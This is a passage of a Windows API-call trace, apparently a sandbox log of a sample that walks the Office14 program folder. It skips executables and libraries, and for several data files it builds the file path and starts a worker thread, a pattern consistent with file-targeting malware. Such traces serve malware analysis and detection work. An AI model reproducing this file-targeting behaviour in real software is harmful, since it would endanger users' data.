ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57d49a00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7en.dll", cAlternateFileName="")) returned 1 [0156.269] wcscmp (_String1="mscss7en.dll", _String2=".") returned 1 [0156.269] wcscmp (_String1="mscss7en.dll", _String2="..") returned 1 [0156.269] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7es.dll", cAlternateFileName="")) returned 1 [0156.269] wcscmp (_String1="mscss7es.dll", _String2=".") returned 1 [0156.269] wcscmp (_String1="mscss7es.dll", _String2="..") returned 1 [0156.269] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efba800, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4c02e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5efba800, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7fr.dll", cAlternateFileName="")) returned 1 [0156.269] wcscmp (_String1="mscss7fr.dll", _String2=".") returned 1 [0156.269] wcscmp (_String1="mscss7fr.dll", _String2="..") returned 1 [0156.269] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc9700, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dfc9700, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_en.dub", cAlternateFileName="MS79E7~1.DUB")) returned 1 [0156.269] wcscmp (_String1="mscss7wre_en.dub", _String2=".") returned 1 [0156.269] wcscmp (_String1="mscss7wre_en.dub", _String2="..") returned 1 [0156.269] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99cd88 [0156.269] wcscpy (in: _Dest=0x99cd88, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.269] wcscat (in: _Dest=0x99cd88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.269] wcscat (in: _Dest=0x99cd88, _Source="mscss7wre_en.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub" [0156.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99cd88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd58 [0156.271] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c14b00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22c14b00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_es.dub", cAlternateFileName="MSCSS7~2.DUB")) returned 1 [0156.271] wcscmp (_String1="mscss7wre_es.dub", _String2=".") returned 1 [0156.271] wcscmp (_String1="mscss7wre_es.dub", _String2="..") returned 1 [0156.271] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99dd08 [0156.271] wcscpy (in: _Dest=0x99dd08, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.271] wcscat (in: _Dest=0x99dd08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.271] wcscat (in: _Dest=0x99dd08, _Source="mscss7wre_es.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub" [0156.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99dd08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd54 [0156.272] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205ef100, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x205ef100, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_fr.dub", cAlternateFileName="MSCSS7~4.DUB")) returned 1 [0156.272] wcscmp (_String1="mscss7wre_fr.dub", _String2=".") returned 1 [0156.272] wcscmp (_String1="mscss7wre_fr.dub", _String2="..") returned 1 [0156.273] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99dc88 [0156.273] wcscpy (in: _Dest=0x99dc88, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.273] wcscat (in: _Dest=0x99dc88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.273] wcscat (in: _Dest=0x99dc88, _Source="mscss7wre_fr.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub" [0156.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99dc88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0156.274] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0xee9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7.dll", cAlternateFileName="")) returned 1 [0156.274] wcscmp (_String1="mset7.dll", _String2=".") returned 1 [0156.274] wcscmp (_String1="mset7.dll", _String2="..") returned 1 [0156.274] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b94600, ftCreationTime.dwHighDateTime=0x1c879f3, ftLastAccessTime.dwLowDateTime=0x69def8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b94600, ftLastWriteTime.dwHighDateTime=0x1c879f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7db.kic", cAlternateFileName="")) returned 1 [0156.274] wcscmp (_String1="mset7db.kic", _String2=".") returned 1 [0156.274] wcscmp (_String1="mset7db.kic", _String2="..") returned 1 [0156.274] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bea0 [0156.274] wcscpy (in: _Dest=0x93bea0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.274] wcscat (in: _Dest=0x93bea0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.274] wcscat (in: _Dest=0x93bea0, _Source="mset7db.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" [0156.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0156.275] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34365600, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e15a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34365600, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7en.kic", cAlternateFileName="")) returned 1 [0156.276] wcscmp (_String1="mset7en.kic", _String2=".") returned 1 [0156.276] wcscmp (_String1="mset7en.kic", _String2="..") returned 1 [0156.276] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bd38 [0156.276] wcscpy (in: _Dest=0x93bd38, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.276] wcscat (in: _Dest=0x93bd38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.276] wcscat (in: _Dest=0x93bd38, _Source="mset7en.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" [0156.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bd38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c [0156.277] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x13e9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7es.kic", cAlternateFileName="")) returned 1 [0156.277] wcscmp (_String1="mset7es.kic", _String2=".") returned 1 [0156.277] wcscmp (_String1="mset7es.kic", _String2="..") returned 1 [0156.277] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93be28 [0156.277] wcscpy (in: _Dest=0x93be28, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.277] wcscat (in: _Dest=0x93be28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.277] wcscat (in: _Dest=0x93be28, _Source="mset7es.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic" [0156.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93be28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc [0156.279] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7fr.kic", cAlternateFileName="")) returned 1 [0156.279] wcscmp (_String1="mset7fr.kic", _String2=".") returned 1 [0156.279] wcscmp (_String1="mset7fr.kic", _String2="..") returned 1 [0156.279] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c008 [0156.279] wcscpy (in: _Dest=0x93c008, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.279] wcscat (in: _Dest=0x93c008, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.279] wcscat (in: _Dest=0x93c008, _Source="mset7fr.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" [0156.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc [0156.281] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c57810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x3567a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7ge.kic", cAlternateFileName="")) returned 1 [0156.281] wcscmp (_String1="mset7ge.kic", _String2=".") returned 1 [0156.281] wcscmp (_String1="mset7ge.kic", _String2="..") returned 1 [0156.281] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c8f0 [0156.281] wcscpy (in: _Dest=0x93c8f0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.281] wcscat (in: _Dest=0x93c8f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.281] wcscat (in: _Dest=0x93c8f0, _Source="mset7ge.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" [0156.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1200 [0156.282] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7jp.kic", cAlternateFileName="")) returned 1 [0156.282] wcscmp (_String1="mset7jp.kic", _String2=".") returned 1 [0156.282] wcscmp (_String1="mset7jp.kic", _String2="..") returned 1 [0156.282] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c260 [0156.282] wcscpy (in: _Dest=0x93c260, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.282] wcscat (in: _Dest=0x93c260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.282] wcscat (in: _Dest=0x93c260, _Source="mset7jp.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" [0156.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1208 [0156.284] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x81988, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tk.dll", cAlternateFileName="")) returned 1 [0156.284] wcscmp (_String1="mset7tk.dll", _String2=".") returned 1 [0156.284] wcscmp (_String1="mset7tk.dll", _String2="..") returned 1 [0156.284] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed9dc00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ed9dc00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x10f798, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tkjp.dll", cAlternateFileName="MSET7T~1.DLL")) returned 1 [0156.284] wcscmp (_String1="mset7tkjp.dll", _String2=".") returned 1 [0156.284] wcscmp (_String1="mset7tkjp.dll", _String2="..") returned 1 [0156.284] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab61d00, ftCreationTime.dwHighDateTime=0x1bf9d1a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ab61d00, ftLastWriteTime.dwHighDateTime=0x1bf9d1a, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.ICO", cAlternateFileName="")) returned 1 [0156.284] wcscmp (_String1="MSN.ICO", _String2=".") returned 1 [0156.284] wcscmp (_String1="MSN.ICO", _String2="..") returned 1 [0156.284] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4306b00, ftCreationTime.dwHighDateTime=0x1ca223a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4306b00, ftLastWriteTime.dwHighDateTime=0x1ca223a, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0156.284] wcscmp (_String1="MSO0127.ACL", _String2=".") returned 1 [0156.284] wcscmp (_String1="MSO0127.ACL", _String2="..") returned 1 [0156.284] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c350 [0156.284] wcscpy (in: _Dest=0x93c350, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.284] wcscat (in: _Dest=0x93c350, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.284] wcscat (in: _Dest=0x93c350, _Source="MSO0127.ACL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL" [0156.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120c [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9d7360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x36178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0156.286] wcscmp (_String1="MSOCF.DLL", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSOCF.DLL", _String2="..") returned 1 [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716ee900, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x716ee900, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x6a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFU.DLL", cAlternateFileName="")) returned 1 [0156.286] wcscmp (_String1="MSOCFU.DLL", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSOCFU.DLL", _String2="..") returned 1 [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="MSOCFU~1.DLL")) returned 1 [0156.286] wcscmp (_String1="MSOCFUIUTILITIESDLL.DLL", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSOCFUIUTILITIESDLL.DLL", _String2="..") returned 1 [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dadcd00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xd61ff3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dadcd00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xa7f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSODCW.DLL", cAlternateFileName="")) returned 1 [0156.286] wcscmp (_String1="MSODCW.DLL", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSODCW.DLL", _String2="..") returned 1 [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x17b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0156.286] wcscmp (_String1="MSOHEV.DLL", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSOHEV.DLL", _String2="..") returned 1 [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x12d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0156.286] wcscmp (_String1="MSOHEVI.DLL", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSOHEVI.DLL", _String2="..") returned 1 [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a159300, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a159300, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0156.286] wcscmp (_String1="MSOHTMED.EXE", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSOHTMED.EXE", _String2="..") returned 1 [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa94b500, ftCreationTime.dwHighDateTime=0x1caca29, ftLastAccessTime.dwLowDateTime=0x593a1b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa94b500, ftLastWriteTime.dwHighDateTime=0x1caca29, nFileSizeHigh=0x0, nFileSizeLow=0xa398, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0156.286] wcscmp (_String1="MSOSTYLE.DLL", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSOSTYLE.DLL", _String2="..") returned 1 [0156.286] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd6297920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0156.286] wcscmp (_String1="MSOSYNC.EXE", _String2=".") returned 1 [0156.286] wcscmp (_String1="MSOSYNC.EXE", _String2="..") returned 1 [0156.286] 